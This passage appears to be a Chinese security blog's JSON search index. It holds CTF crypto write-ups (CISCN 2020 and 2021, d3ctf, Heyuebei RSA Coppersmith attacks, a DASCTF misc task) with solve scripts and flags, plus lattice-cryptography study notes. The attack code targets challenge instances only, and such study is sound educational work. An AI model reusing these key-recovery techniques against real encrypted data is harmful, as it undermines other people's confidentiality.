132, 214, 239, 102, 58, 68, 130, 97, 204, 225, 76, 152, 216, 74, 149, 79, 165, 198, 72, 150, 94, 7, 177, 46, 226, 252, 247, 79, 62, 69, 106, 60, 21, 106, 236, 47, 145, 170, 28, 18, 101, 14, 152, 131, 7, 37, 15, 168, 99, 115, 27, 220, 150, 89, 82, 232, 170, 107, 221, 212, 46, 235, 129, 36, 66, 217, 222, 36, 15, 217, 192, 247, 192, 113, 230, 129, 196, 13, 247, 148, 228, 225, 86, 71, 133, 132, 238, 236, 127, 11, 83, 107, 141, 114, 150, 182, 146, 213, 250, 141, 53, 114, 16, 198, 70, 133, 17, 247, 173, 136, 73, 236, 78, 188, 150, 239, 58, 199, 136, 11, 122, 134, 77, 47, 167, 137, 188, 55, 195, 41, 49, 245, 92, 160, 213, 254, 0, 85, 205, 193, 69, 2, 140, 143, 155, 127, 236, 179, 199, 168, 35, 85, 40, 45, 174]flag_enc = [198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217, 179, 136, 107, 190, 62, 4, 6, 90, 53, 105, 238, 117, 44, 5, 116, 132, 195, 214, 171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41, 211, 56, 139, 135, 225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173, 186, 166, 65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48, 103, 163, 31, 189, 37, 124, 106, 249, 86, 188, 86, 233, 41, 250, 89, 7, 212, 234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214, 210, 188, 84, 216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34, 85, 77, 29, 182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21, 117, 239, 102, 129, 2, 253, 80, 53, 61, 184, 220, 41, 82, 37, 140, 23, 143, 179, 53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48, 254, 251, 89, 195, 8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104, 16, 192, 239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242, 73, 51, 46, 98, 137, 163, 152, 147, 95, 223, 3, 15, 112, 85, 215, 133, 131, 240, 239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9, 157, 99, 150, 47, 118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86, 193, 252, 21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4, 246, 158, 52, 118, 242, 195, 54, 139, 232, 100, 31, 11, 233, 58, 100, 101, 137, 83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177, 166, 161, 20, 116, 122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192, 147, 5, 130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137, 33, 84, 100, 7, 239, 219, 83, 112, 189, 166, 58, 93, 141, 30, 198, 220, 196, 118, 172, 5, 45]get_nums()# 全部取ch = 0进行计算,得到[78, 86, 169, 177],这四个值有两个分别为key1和key2keys = [78, 86, 169, 177]bins_l = []keys_l = []for key1 in keys: for key2 in keys: if key1 == key2: continue # key1和key2应该是不相等的 bins = "" err = False for i in range(16*16): if ((testimage[i]^testimage_enc[i])&0xff) == key1: bins+="00" elif ((~testimage[i]^testimage_enc[i])&0xff) == key1: bins+="01" elif ((testimage[i]^testimage_enc[i])&0xff) == key2: bins+="10" elif ((~testimage[i]^testimage_enc[i])&0xff) == key2: bins+="11" else: err = True print(key1,key2) print("This is not keys!") break if len(bins)==16*16*2: bins_l.append(bins) keys_l.append((key1,key2)) if err: continue# print(keys_l)print(bins_l)# 根据输出排除4组:[78,177] [86,169] [169,86] [177,78] keys对一共是A(4,2),12组,还剩下8组,保存此8组的keys和bins# assert(len(str(r))==3) 这里r要么为几百要么为1位小数,后者更合理# 用bins反算出seqs,这里的seqs是真实x序列的近似值,用相邻的x计算r,有一组基本相邻两个求出来都是1.2,故r应该是1.2for bin_x in bins_l: x_list = [] for i in range(len(bin_x) // 16): #print(i) # print(bin_x[i * 16:i * 16 + 16]) x = int(bin_x[i * 16:i * 16 + 16], 2) data = round(x / 22000, 6) if (int(data * 22000) == x): x_list.append(data) elif (int(round(data - 0.000001, 6) * 22000) == x): data = round(data - 0.000001, 6) x_list.append(data) elif (int(round(data + 0.000001, 6) * 22000) == x): data = round(data + 0.000001, 6) x_list.append(data) else: print("ERROR") exit(0) assert int(x_list[i] * 22000) == x print(x_list) get_r(x_list) print(keys_l[bins_l.index(bin_x)])# 爆破初始x0,10^6次可以接受key1, key2, r = 169, 78, 1.2bin_s = "10111011001001011011100010101011101111001001110010110110010000001100000001001010101011111110111011001001001001111001111100100100110110110100001101110110000001011110011001100000010110000100000111010000111101011000111010001100111001010110111001011010111011001101001111100010100001111110001011100111010110010101010101111011110011011011001110010101101011011110001000000001011001000110000011011100101010100111001001110110111001010001111001011011110011011101010011001110100001011011110011100111101101000101010001110111"SEQS = [int(bin_s[i*16:i*16+16], 2) for i in range(len(bin_s)//16)]print(SEQS)for x0 in range(1000000): x = x0/1000000 seqs = [] for i in range(16*16//8): x = generate(x, r) seqs.append(int(x*22000)) if SEQS==seqs: print(x0/1000000) break# 这里需要用python2的md5...不管他了x0 = 0.840264flag = encrypt(flag_enc,key1, key2,x0,24,16)flag_bytes = ""for i in flag: flag_bytes+=chr(i)print(md5(flag_bytes.encode("utf-8")).hexdigest())","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CISCN","slug":"赛事/CISCN","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/"},{"name":"CISCN2021","slug":"赛事/CISCN/CISCN2021","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/CISCN2021/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"Lattice-Lesson2","slug":"Lattice-Lesson2","date":"2022-05-09T14:59:02.000Z","updated":"2022-05-09T15:47:34.000Z","comments":true,"path":"2022/05/09/Lattice-Lesson2/","link":"","permalink":"http://example.com/2022/05/09/Lattice-Lesson2/","excerpt":"​ Learning With Errors.","text":"​ Learning With Errors. 1.LWE问题的困难性 基于LWE搜索问题建立密码学方案。 2.LWE困难问题描述","categories":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Lessons","slug":"Lattice/Lessons","permalink":"http://example.com/categories/Lattice/Lessons/"}],"tags":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"}]},{"title":"Lattice reduction-LLL","slug":"Lattice-reduction-LLL","date":"2022-05-08T02:53:25.000Z","updated":"2022-05-17T08:01:26.000Z","comments":true,"path":"2022/05/08/Lattice-reduction-LLL/","link":"","permalink":"http://example.com/2022/05/08/Lattice-reduction-LLL/","excerpt":"​ 哈希写的很好,所以我转载一下就行。","text":"​ 哈希写的很好,所以我转载一下就行。 ​ 先看投影矩阵,再看Gram-Schmidt,最后看blog 。补充一个通俗易懂的讲解来自知乎。","categories":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Lattice-reduction","slug":"Lattice/Lattice-reduction","permalink":"http://example.com/categories/Lattice/Lattice-reduction/"}],"tags":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"}]},{"title":"Lattice-Lesson1","slug":"Lattice-Lesson1","date":"2022-05-04T09:33:17.000Z","updated":"2022-05-09T15:05:26.000Z","comments":true,"path":"2022/05/04/Lattice-Lesson1/","link":"","permalink":"http://example.com/2022/05/04/Lattice-Lesson1/","excerpt":"​ 这一部分主要讲了格中平均困难问题SIS,高斯分布与格的联系以及如何将SIVP规约到SIS上。针对格,我只是站在一个研究者的角度去学习,并非为了能够套脚本做ctf题目,所以每个定理都尽可能去理解原理,可能记录的比较繁琐。","text":"​ 这一部分主要讲了格中平均困难问题SIS,高斯分布与格的联系以及如何将SIVP规约到SIS上。针对格,我只是站在一个研究者的角度去学习,并非为了能够套脚本做ctf题目,所以每个定理都尽可能去理解原理,可能记录的比较繁琐。 一.格中困难问题分类 Average-Case SIS LWE Worst-Case SIVP BDD 二.SIS问题1.Average-Case Problems——The Small Integer Solution(SIS) Problem (1)definition Given:Random vectors $a{1}$,…,$a{m}$ in $Z^{n}_{q}$ Find:non-trivial(非平凡,不全为0) solution $Z{1}$,…,$Z{m}$ in {-1,0,1} such that 注: 1.当不限定$Z_i$的范围的时候,可以用高斯消元法很快得到满足条件的值,限定Z取值以后这就成为了数学困难问题。 2.与格的联系:令S为所有使得$a{1}z{1}+…+a{m}z{m}=0modq$的整数向量z组成的集合,由于满足条件的向量的线性组合仍满足条件(封闭性),故整个集合构成了格。所以SIS的困难性可以理解为在格S中找到一个短向量(范数为1{-1,0,1}),这就和最短向量问题联系起来了。 (2)Collision-Resistant Hash Function 基于SIS可以构造出抗碰撞hash函数 类似于前边定义的SIS问题,我们只需要选定向量簇$a{i}$,然后将要做hash的message转为二进制,每一位分别对应$z{i}$的值,同时为了保证数据做hash被压缩,还需要有: m>n*\\log2^{q}那么,针对这样的哈希函数,若找到碰撞,则可以找到$a{1}z{1}+…+a{m}z{m}=0$以及$a{1}y{1}+…+a{m}y{m}$,两者做差就得到了$a{1}(z{1}-y{1})+…+a{m}(z{m}-y{m})=0,z{i}-y{i} \\in {-1,0,1}$,这说明要破解类似的hash函数等价于解决一个SIS困难问题… 2.Gaussian Distributions and Lattices (1)高斯分布 一维高斯分布(经典正态分布): 二维或多维高斯分布:每一维度的取值都分别满足一维高斯分布,然后将多维的概率相乘: 二维或多维高斯分布有一个非常好的特性就是每一个点取得的概率只和它离原点的距离有关,并且分布关于0点对称。 随机取一个一维高斯分布上的点(期望)到原点的距离仅比标准差小一点点。所以n维的高斯分布上的点到原点的距离约等于标准差乘$\\sqrt{n}$。 (2)高斯分布的性质 a.多维高斯分布等于几个一维高斯分布表达式相乘 b.高斯分布关于原点对称 c.这个性质就是高斯分布和格的联系,有点复杂,参考知乎大佬的总结,这是关键部分: 备注:B的$\\lambda{n}$值的意思是B中存在n个格向量,这n个格向量的长度都小于B的$\\lambda{n}$值。 关于XmodC均匀分布有点抽象,做一些解释: 因为高斯分布的S大于5$\\lambda_n$,而$\\lambda_n$大于C(本质上是格)每个维度的格基,所以每个维度都满足均匀分布,故整个高斯分布也均匀分布。 总结一下就是这个: 3.Reducing a Worst-Case Lattice Problem to SIS 核心问题仅一个:SIVP——>SIS,如何规约?(给定一个格和随意的格基,用SIS算法找到更短的格向量) 1.首先要做的是,得到在平行多面体上均匀分布的点。 (1)首先将格点区域划分为更小的块,每个格点之间间隔了三块,每块的边缘用周期性数字表示,那么格点坐标全都是(0,0)。 (2)然后依据高斯分布采样,图中标为彩色的点。红色点$r_{i}$是随机选择的格点,在实际实验中,无法随机取到这样的随机点;我们依据高斯分布在红点附件采样点,可能满足高斯分布的点不在网格上,可以采用舍入的方式来把它放在网格上。 (3)background:all the samples are uniform in $Z_{q}^{n}$ ,q = 3 why? 选取高斯分布的参数为比5$\\lambda_n$更大的值,由上述总结的定理可知我们选取的点在平行多面体中是均匀随机分布的。 而这里的平行多面体,就是$Z_{q}^{n}$,每个区域划分为3份,所以是q为3。 (4)我们不知道$\\lambda_n$的值,但只要取S够大,规约算法就可以不断执行;不断减小S的值(二分法等),直到算法停止,那么就可以找到和$\\lambda_n$近似的值。 2.将采样的点用SIS处理找到最短向量或近似值 参考","categories":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Lessons","slug":"Lattice/Lessons","permalink":"http://example.com/categories/Lattice/Lessons/"}],"tags":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"}]},{"title":"Lattice-Lesson0","slug":"Lattice-Lesson0","date":"2022-05-04T06:48:18.000Z","updated":"2022-05-08T09:56:58.000Z","comments":true,"path":"2022/05/04/Lattice-Lesson0/","link":"","permalink":"http://example.com/2022/05/04/Lattice-Lesson0/","excerpt":"​ 格是我很感兴趣的内容,会尽可能详细地学习。","text":"​ 格是我很感兴趣的内容,会尽可能详细地学习。 一.为什么要研究格1.格理论相关的数学困难问题可以构造密码,并且其能够抵抗量子计算机的攻击,这为未来的密码方案提供保证。 注:格的困难问题的基本思想在于,将一个格点在多维空间内移动至另一个位置,在不知道移动轨迹的情况下是非常难确定其原本位置的。 2.格理论用于密码分析学,可以破解传统密码方案,比如LLL算法可以用于对特定参数的RSA进行破解,这可以为传统密码的安全性进行评估。 3.格求解的困难程度可以与已知的困难问题相等价,比如对应大数分解、离散对数问题;这可以科学地证明格密码的安全性。 注:(1)安全性证明是指将一些新的密码构造的数学困难性规约到已知的一些数学困难问题上,这样就可以验证密码系统的安全性;同时,安全性证明可以确定某些参数的取值范围(什么取值更安全)。(2)传统密码的安全性证明一般是基于平均情况进行证明的,比如RSA选择的大数N难以分解,只是一部分情况,也有一些特殊的N是有特定算法分解的。 平均情况困难性:类似于双射,一一对应,只能证明某些参数值对应的密码方案是安全的或者有漏洞的,比如RSA的某些n值易被分解。 糟糕情况困难性:类似于完全映射,每一个任意的格(的困难问题),可以映射到所有的密码函数,所以如果当发现一部分的密码函数被破解了,那么所有基于任意格的困难问题都可以被破解。 举例: 1已知x^2 mod N 求x 这个问题可以规约为大整数分解困难问题,这就验证了其安全性 4.格可以实现一些传统密码无法实现的特性,比如全同态加密。 5.格密码的加解密效率较高,计算开销很小。 二.什么是格格可以理解为高维空间内的点集,点的排布呈周期性规律。 与空间向量联系起来,格则是由一组基础向量的无数个整数倍数线性组合构成的向量的终点,也就是无数个离散点。 三.格的定义方法1.利用格基来表示格 格的基是一组线性无关的向量,由这一组向量可以生成完整的格,也就是可以由他们的线性组合构成所有的格点。 格的基是多样的,在二维空间中,若确定一个格点为原点,以原点出发连接其余任何n个格点所得的n个向量都可以作为格的基。同理,不同的基可以生成同一个格。 通常用L(B)来表示格,把B看作一个矩阵,矩阵的列就是基向量。 2.利用子群定义格 另一种定义方式不需要考虑格基,而是把格定义为R^n下的离散加法子群。 例如,所有模5下和为0的整数点构成格。 四.格基的等价变化如何判断两组格基可以生成同一个格,换而言之,对一个格基做什么样的变换以后其仍然可以生成原来的格。 如果把格基用矩阵表示(列向量为每一个基),则对格基做以下操作,对应的格不变: 1.列向量交换:vi <——> vj 2.向量取负:vi <—— -vi 3.给一个向量加上k乘另一个向量:vi <—— vi + k.vj 更加有趣的是,上述操作均对应为给格基矩阵右乘一个幺模矩阵,幺模矩阵是一种特殊矩阵,其为整数矩阵,其行列式的值为正负1,且这种矩阵的乘法具有封闭性,幺模矩阵的乘积仍为幺模矩阵。 定理:两个格基等价,当且仅当可以把两格基写成以下格式: B2 = B1U其中,U是一个幺模矩阵。 五.格的基本区域1.基本区域定义及模算法 基本平行多面体定义为线性无关向量的线性组合(其中系数取值为0到1)组成的点集合,它也是格的基本区域,因为当把这个区域分别放置在不同格点上时,将会组成整个格的面积区域。这非常容易理解,因为格点是整数坐标,而多面体是基的[0,1]系数组合而来,这两者组合起来就能得到所有的实数系数,就得到整个平面。寻找空间中一个点的表示,实际上就是在做模平行多面体的运算,因为在空间中的点的特征,可以映射到格的基本区域中去,因为整个格可以看作基本区域不断平移所得。(注意,当选取一些奇怪的形状作为基本区域的时候,只要能覆盖整个格面,也是可以的,但是这样的区域通常不方便密码学研究) 基本区域的表示方法:ai in [0,1) P(B)=\\{a_{1}b_{1}+...+a_{n}b_{n}\\}假设现在在空间有一个点,表示为:ai为实数 x=a_{1}b_{1}+...+a_{n}b_{n}那么当对这个点做mod基本区域的操作之时,只需要把每个系数ai模1乘上基向量即可: xmodP(B)=(a_{1}mod1)b_{1}+...+(a_{n}mod1)b_{n}这样做就把这个点映射到基本区域上来,对此可研究他的性质(其各性质与基本趋于的对应点一致)。这种研究思想主要是为了搞清楚空间的点和格的关系,比如点在格上或点不在格上,这样取模研究就不需要知道点的具体位置,只需要把他取模映射到基本区域。比如,任何格点取模以后都会映射原点0。 2.基本区域的一些性质 a.基本区域可以代表整个格的性质 b.基本区域(无论什么形状的)面积都一样,这个结论由基本区域放在各个格点上面组成整个格面可以推导。 3.行列式 行列式:基向量构成的多面体的体积(标量),也就是基本区域的体积。 同一个格选取不同的格基,这个标量值也相等;证明思路容易: 两个基生成同一个格,当且仅当两者可以乘一个幺模矩阵相互转换,那么: |det(BU)| = |det(B)det(U)|=|det(B)| 行列式衡量了格的密度大小,若行列式较大,则证明格点比较稀疏,密度较小。 4.施密特正交化 有序向量集合:向量次序有先后之分,目的是为了将后边的向量投影到前面的向量上。但一些格点对应的向量投影(分解)以后就不再是格点了。关于施密特正交化:百度百科 上图是把斜向上的格基投影到横着的格基和垂直的向量上,再将向量都除以一个长度,这样就得到新的基(单位向量——R^n的基,但不一定是格点和格基)。 下图的表示方法实际上是格基的另一种矩阵表示法,每个列向量都是格基。比如,|v‘1|是上图横着的向量的长度,其余行为0。|v’2|则是上图蓝色向量的长度,*代表非0数,因此第二列实际上就是原来投影前的另一格基。 ​ QR分解的两个结论: ​ 1.由v1,v2…vn为格基构成的格的基本区域(行列式)就等于v’1,v’2…的乘积,上三角矩阵的行列式为对角线之积。 ​ 2.最短非零向量不小于最小的v’i(范数)的长度。证明思路为当若干个非全零系数乘上每一列时,总会有最靠右边的非0列出现,那么该非0列一定会有一个v‘j无法被消去,即格向量至少为这个值,证明结束。(这个结论与LLL算法相关) 六.Minkowski定理1.Blichfeld定理 当在格向量空间任取一个大于格的基本区域的体积的空间s时,一定能在s中找到两个点,其相连构成的向量为某个格点(向量)。下面这个袋鼠很形象: 2.Minkowski 任取一个格,在其上取一个集合s,这个s是有条件的: 1.s是一个凸集合 2.s的空间关于原点对称 3.如果s体积足够大,不仅要大于行列式,还要大于2^n乘行列式 满足这样条件的s中一定有至少一个非0格点 证明: 同时对s的n个维度的长度缩小2倍,那么s的体积缩小2^n倍,但是这样的s仍然大于基本区域,根据Blichfeld定理可知,在现有的s内仍然还存在格点向量,因此一定有非0格点在区域内。 推论: 取任意一个格,格的最短向量不会超过$\\sqrt[n]{det}*\\sqrt{n}$ 对于任意行列式为1的格,必然包含一个长度不超过根号n的最短向量(可以在二维平面作图理解),更严格的证明为:取一个半径为$\\sqrt{n}$的球,其体积大于内部的棱长为2的立方体(体积为2^n) 七.格中的困难问题以及密码体制非困难问题: 1.已知基和一个向量v,验证v是否在格L中 将v用基来表示,观察系数是否为整数,若为整数,则v在格中。 2.给定两组格基,判断两者生成的格是否等价 公式B1 = B2*U 或者检查其中一组基向量是否都为另一组格中的向量,当然还需要反过来检查另一组的基是否为第一组的格向量;若满足则两者等价。 困难问题: 1.SVP(shortest vector problem) 找到格中的最短向量,或者近似最短向量长度,或判定其长度范围。(注意这里的近似一般都用最短的r倍来衡量) 2.SIVP(shortest independent vector problem) 求n个最短线性无关向量,或其近似值。 3.CVP(closed vector problem) 给一个点,要找到离该点最近或近似最近的格点。SVP并不比CVP更困难,也就是如果能解决SVP,则CVP可以解决。比如二维空间中,找一个最短向量可以理解为找离原点最近的非零向量。","categories":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/categories/Lattice/"},{"name":"Lessons","slug":"Lattice/Lessons","permalink":"http://example.com/categories/Lattice/Lessons/"}],"tags":[{"name":"Lattice","slug":"Lattice","permalink":"http://example.com/tags/Lattice/"}]},{"title":"CISCN2020","slug":"CISCN2020","date":"2022-04-29T15:27:29.000Z","updated":"2022-05-30T05:21:32.000Z","comments":true,"path":"2022/04/29/CISCN2020/","link":"","permalink":"http://example.com/2022/04/29/CISCN2020/","excerpt":"​ 2021年前的比赛确实容易太多了…","text":"​ 2021年前的比赛确实容易太多了… bd123456789101112from Crypto.Util.number import *from gmpy2 import *# 维纳攻击c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289d = 1485313191830359055093545745451584299495272920840463008756233print(long_to_bytes(pow(c,d,n)))# b'flag{d3752538-90d0-c373-cfef-9247d3e16848}' rsa123456789101112131415from Crypto.Util.number import *from gmpy2 import *p = 368751654879714877087975516875168751974879716873087714877516875971487715687516888458327q = 368751654879714877087975516875168751974879716873087714877516875971487715687518277898523r = 368751654879714877087975516875168751974879716873087714877516875971487715687518438089619n = 50142032499469550407421604706771611415193641755639270667473328045908799316205905505167271138079522738272643811917325451177986948493659090203974349370248583120022500722759239305447823602875823849366662503027591858371125301505134216095903796534740686834236150999e = 65537c = 45005399504992587510006608300548120810512973768886391125598523343330913326304417790989607300367232977960116381108873363343598357102136548218343380795022179607741940866191404186680657699739176842869814452906110393321567314747096161480003824583613027819960172221phi = (p-1)*(q-1)*(r-1)d = invert(e,phi)print(long_to_bytes(pow(c,d,n)))# b'flag{4e9f2a7f-bda9-4a46-af51-b29e0c61973e}' lfsr​ 留个链接以后复习,解系数为01的矩阵方程即可。 123456789101112131415from sage.all import *import hashliboutput = '' # out.txtlist1 = [int(i) for i in list((output[100:200]))]y = vector(GF(2),list1) #值向量list2 = []for i in range(100): list2.append([int(j) for j in list(reversed(output[i:i+100]))])x = matrix(GF(2),list2) #系数矩阵mask = x.solve_right(y) #解方程x*mask=ymask = ''.join([str(i) for i in list(mask)])flag = int(mask,2)print(flag)# flag{856137228707110492246853478448}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CISCN","slug":"赛事/CISCN","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/"},{"name":"CISCN2020","slug":"赛事/CISCN/CISCN2020","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CISCN/CISCN2020/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"}]},{"title":"d3factor 鹤城杯babyrsa","slug":"d3factor-鹤城杯babyrsa","date":"2022-04-29T13:44:52.000Z","updated":"2022-04-29T13:52:38.000Z","comments":true,"path":"2022/04/29/d3factor-鹤城杯babyrsa/","link":"","permalink":"http://example.com/2022/04/29/d3factor-%E9%B9%A4%E5%9F%8E%E6%9D%AFbabyrsa/","excerpt":"​ 两个一元copper,思路直接搬运大佬的:d3factor babyrsa","text":"​ 两个一元copper,思路直接搬运大佬的:d3factor babyrsa ​ d3exp: 1234567891011121314151617181920212223242526272829303132from Crypto.Util.number import *from gmpy2 import *from hashlib import *e = 65537r = 7c = 2420624631315473673388732074340410215657378096737020976722603529598864338532404224879219059105950005655100728361198499550862405660043591919681568611707967N = 1476751427633071977599571983301151063258376731102955975364111147037204614220376883752032253407881568290520059515340434632858734689439268479399482315506043425541162646523388437842149125178447800616137044219916586942207838674001004007237861470176454543718752182312318068466051713087927370670177514666860822341380494154077020472814706123209865769048722380888175401791873273850281384147394075054950169002165357490796510950852631287689747360436384163758289159710264469722036320819123313773301072777844457895388797742631541101152819089150281489897683508400098693808473542212963868834485233858128220055727804326451310080791e1 = 425735006018518321920113858371691046233291394270779139216531379266829453665704656868245884309574741300746121946724344532456337490492263690989727904837374279175606623404025598533405400677329916633307585813849635071097268989906426771864410852556381279117588496262787146588414873723983855041415476840445850171457530977221981125006107741100779529209163446405585696682186452013669643507275620439492021019544922913941472624874102604249376990616323884331293660116156782891935217575308895791623826306100692059131945495084654854521834016181452508329430102813663713333608459898915361745215871305547069325129687311358338082029e2 = 1004512650658647383814190582513307789549094672255033373245432814519573537648997991452158231923692387604945039180687417026069655569594454408690445879849410118502279459189421806132654131287284719070037134752526923855821229397612868419416851456578505341237256609343187666849045678291935806441844686439591365338539029504178066823886051731466788474438373839803448380498800384597878814991008672054436093542513518012957106825842251155935855375353004898840663429274565622024673235081082222394015174831078190299524112112571718817712276118850981261489528540025810396786605197437842655180663611669918785635193552649262904644919a = pow((e2-e1)*invert(e1*e2,N),1,N)P.<x> = PolynomialRing(Zmod(N))f = x-ax = f.small_roots(X = 2^1000,beta = 0.4)x = x[0]kmultpr1 = x-apr1=gcd(mpz(kmultpr1),mpz(N))p = iroot(int(pr1),(r-1))[0]print(p)#81911394167511996830305370213894554209992159667974516868378702592733037962549q = N//(p**r)#59689394622751323780317475130818337618980301243859922297121750335804594909859print(q)n = p*qphi_n=(p-1)*(q-1)d = invert(e,phi_n)m = pow(c,d,n)print(long_to_bytes(m))# MM is still working on Valentine's Day.You can't be like him.m = bytes.decode(long_to_bytes(m))msg = md5(m.encode()).hexdigest()print("d3ctf{"+msg+"}")#d3ctf{42f79e777e622aef5344b04ad6233130} ​ 鹤城杯exp: 12345678910111213141516171819202122232425262728293031323334from gmpy2 import *from Crypto.Util.number import *p1 = 1514296530850131082973956029074258536069144071110652176122006763622293335057110441067910479q0 = 40812438243894343296354573724131194431453023461572200856406939246297219541329623n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969mod=pow(2,265)p0=n*invert(q0,mod)%modpbar=(p1<<724)+p0#sagePR.<x> = PolynomialRing(Zmod(n)) for i in range(32): f=int(pbar)+x*mod*32 f=f.monic() pp=f.small_roots(X=2^454,beta=0.4) if(pp): break pbar+=modp=pbar+pp[0]*32*modassert n%p==0print(p)#133637329398256221348922087205912367118213472434713498908220867690672019569057789598459580146410501473689139466275052698529257254973211963162087316149628000798221014338373126500646873612341158676084318494058522014519669302359038980726479317742766438142835169562422371156257894374341629012755597863752154328407n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969p = 133637329398256221348922087205912367118213472434713498908220867690672019569057789598459580146410501473689139466275052698529257254973211963162087316149628000798221014338373126500646873612341158676084318494058522014519669302359038980726479317742766438142835169562422371156257894374341629012755597863752154328407q=n // pphi=(p-1)*(q-1)e=65537d=gmpy2.invert(e,phi)c=19073695285772829730103928222962723784199491145730661021332365516942301513989932980896145664842527253998170902799883262567366661277268801440634319694884564820420852947935710798269700777126717746701065483129644585829522353341718916661536894041337878440111845645200627940640539279744348235772441988748977191513786620459922039153862250137904894008551515928486867493608757307981955335488977402307933930592035163126858060189156114410872337004784951228340994743202032248681976932591575016798640429231399974090325134545852080425047146251781339862753527319093938929691759486362536986249207187765947926921267520150073408188188m=gmpy2.powmod(c,d,n)print(long_to_bytes(m))# flag{ef5e1582-8116-4f61-b458-f793dc03f2ff}","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"Copper","slug":"比赛/RSA/Copper","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/Copper/"}],"tags":[{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"Copper","slug":"Copper","permalink":"http://example.com/tags/Copper/"}]},{"title":"DASCTFXFATE2022","slug":"2022DASCTFXFATE","date":"2022-04-27T01:47:25.000Z","updated":"2022-07-25T00:45:18.000Z","comments":true,"path":"2022/04/27/2022DASCTFXFATE/","link":"","permalink":"http://example.com/2022/04/27/2022DASCTFXFATE/","excerpt":"​ 本次月赛是和校队的师傅一起参加的,学到不少东西。进行记录和复现。","text":"​ 本次月赛是和校队的师傅一起参加的,学到不少东西。进行记录和复现。 MISCSimpleFlow​ 分离zip文件,将第50组左右的tcp流里的base进行解密找到压缩命令(-p后边就是压缩包密码),打开压缩包得到flag。 熟悉的猫​ 关于kdbx文件,先了解一下参考资料。其为KeepPass的密码数据文件,所以用KeepPass来打开。但没有告诉密码,可以使用passware(windows密码恢复工具)恢复: ​ 用KeepPass打开查看密码为 jbRw5PB2kFmor6IeYYil ,用这个解压压缩包得到png和txt。题目为”熟悉的猫”,加上图片特征,显然是猫脸变换,简单学习了下,有几个关键点: ​ 1.通过对像素坐标多次乘上变换矩阵(乘一次就进行一次变换)得到变换以后的图像,即像素值不变,位置改变。 ​ 2.猫脸变换具有周期性,对变换k次的图像再进行周期T-k次变换后可恢复原图。更好的做法是对变换矩阵求逆矩阵,左乘k次逆即可恢复。 ​ 3.这样的变换类似于图像加密,变换次数为密钥key。 ​ txt中有一串很长的k值,这里有两部分利用: ​ 